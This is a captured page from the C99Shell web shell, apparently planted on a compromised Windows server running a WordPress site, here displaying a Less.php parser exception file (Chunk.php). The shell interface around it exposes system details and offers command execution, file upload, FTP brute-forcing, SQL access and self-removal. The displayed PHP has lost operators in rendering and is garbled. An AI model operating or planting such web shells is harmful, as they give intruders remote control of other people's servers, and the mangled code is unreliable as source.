!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\wcp-contact-form\vendor\oyejorge\less.php\lib\Less\Exception\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.35%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Chunk.php (5.26 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Chunk Exception
 *
 * @package Less
 * @subpackage exception
 */
class Less_Exception_Chunk extends Less_Exception_Parser{


    protected 
$parserCurrentIndex 0;

    protected 
$emitFrom 0;

    protected 
$input_len;


    
/**
     * Constructor
     *
     * @param string $input
     * @param Exception $previous Previous exception
     * @param integer $index The current parser index
     * @param Less_FileInfo|string $currentFile The file
     * @param integer $code The exception code
     */
    
public function __construct($inputException $previous null$index null$currentFile null$code 0){

        
$this->message 'ParseError: Unexpected input'//default message

        
$this->index $index;

        
$this->currentFile $currentFile;

        
$this->input $input;
        
$this->input_len strlen($input);

        
$this->Chunks();
        
$this->genMessage();
    }


    
/**
     * See less.js chunks()
     * We don't actually need the chunks
     *
     */
    
protected function Chunks(){
        
$level 0;
        
$parenLevel 0;
        
$lastMultiCommentEndBrace null;
        
$lastOpening null;
        
$lastMultiComment null;
        
$lastParen null;

        for( 
$this->parserCurrentIndex 0$this->parserCurrentIndex $this->input_len$this->parserCurrentIndex++ ){
            
$cc $this->CharCode($this->parserCurrentIndex);
            if (((
$cc >= 97) && ($cc <= 122)) || ($cc 34)) {
                
// a-z or whitespace
                
continue;
            }

            switch (
$cc) {

                
// (
                
case 40:
                    
$parenLevel++;
                    
$lastParen $this->parserCurrentIndex;
                    continue;

                
// )
                
case 41:
                    
$parenLevel--;
                    if( 
$parenLevel ){
                        return 
$this->fail("missing opening `(`");
                    }
                    continue;

                
// ;
                
case 59:
                    
//if (!$parenLevel) { $this->emitChunk();    }
                    
continue;

                
// {
                
case 123:
                    
$level++;
                    
$lastOpening $this->parserCurrentIndex;
                    continue;

                
// }
                
case 125:
                    
$level--;
                    if( 
$level ){
                        return 
$this->fail("missing opening `{`");

                    }
                    
//if (!$level && !$parenLevel) { $this->emitChunk(); }
                    
continue;
                
// \
                
case 92:
                    if (
$this->parserCurrentIndex $this->input_len 1) { $this->parserCurrentIndex++; continue; }
                    return 
$this->fail("unescaped `\\`");

                
// ", ' and `
                
case 34:
                case 
39:
                case 
96:
                    
$matched 0;
                    
$currentChunkStartIndex $this->parserCurrentIndex;
                    for (
$this->parserCurrentIndex $this->parserCurrentIndex 1$this->parserCurrentIndex $this->input_len$this->parserCurrentIndex++) {
                        
$cc2 $this->CharCode($this->parserCurrentIndex);
                        if (
$cc2 96) { continue; }
                        if (
$cc2 == $cc) { $matched 1; break; }
                        if (
$cc2 == 92) {        // \
                            
if ($this->parserCurrentIndex == $this->input_len 1) {
                                return 
$this->fail("unescaped `\\`");
                            }
                            
$this->parserCurrentIndex++;
                        }
                    }
                    if (
$matched) { continue; }
                    return 
$this->fail("unmatched `" chr($cc) + "`"$currentChunkStartIndex);

                
// /, check for comment
                
case 47:
                    if (
$parenLevel || ($this->parserCurrentIndex == $this->input_len 1)) { continue; }
                    
$cc2 $this->CharCode($this->parserCurrentIndex+1);
                    if (
$cc2 == 47) {
                        
// //, find lnfeed
                        
for ($this->parserCurrentIndex $this->parserCurrentIndex 2$this->parserCurrentIndex $this->input_len$this->parserCurrentIndex++) {
                            
$cc2 $this->CharCode($this->parserCurrentIndex);
                            if ((
$cc2 <= 13) && (($cc2 == 10) || ($cc2 == 13))) { break; }
                        }
                    } else if (
$cc2 == 42) {
                        
// /*, find */
                        
$lastMultiComment $currentChunkStartIndex $this->parserCurrentIndex;
                        for (
$this->parserCurrentIndex $this->parserCurrentIndex 2$this->parserCurrentIndex $this->input_len 1$this->parserCurrentIndex++) {
                            
$cc2 $this->CharCode($this->parserCurrentIndex);
                            if (
$cc2 == 125) { $lastMultiCommentEndBrace $this->parserCurrentIndex; }
                            if (
$cc2 != 42) { continue; }
                            if (
$this->CharCode($this->parserCurrentIndex+1) == 47) { break; }
                        }
                        if (
$this->parserCurrentIndex == $this->input_len 1) {
                            return 
$this->fail("missing closing `*/`"$currentChunkStartIndex);
                        }
                    }
                    continue;

                
// *, check for unmatched */
                
case 42:
                    if ((
$this->parserCurrentIndex $this->input_len 1) && ($this->CharCode($this->parserCurrentIndex+1) == 47)) {
                        return 
$this->fail("unmatched `/*`");
                    }
                    continue;
            }
        }

        if( 
$level !== ){
            if( (
$lastMultiComment $lastOpening) && ($lastMultiCommentEndBrace $lastMultiComment) ){
                return 
$this->fail("missing closing `}` or `*/`"$lastOpening);
            } else {
                return 
$this->fail("missing closing `}`"$lastOpening);
            }
        } else if ( 
$parenLevel !== ){
            return 
$this->fail("missing closing `)`"$lastParen);
        }


        
//chunk didn't fail


        //$this->emitChunk(true);
    
}

    public function 
CharCode($pos){
        return 
ord($this->input[$pos]);
    }


    public function 
fail$msg$index null ){

        if( !
$index ){
            
$this->index $this->parserCurrentIndex;
        }else{
            
$this->index $index;
        }
        
$this->message 'ParseError: '.$msg;
    }


    
/*
    function emitChunk( $force = false ){
        $len = $this->parserCurrentIndex - $this->emitFrom;
        if ((($len < 512) && !$force) || !$len) {
            return;
        }
        $chunks[] = substr($this->input, $this->emitFrom, $this->parserCurrentIndex + 1 - $this->emitFrom );
        $this->emitFrom = $this->parserCurrentIndex + 1;
    }
    */

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--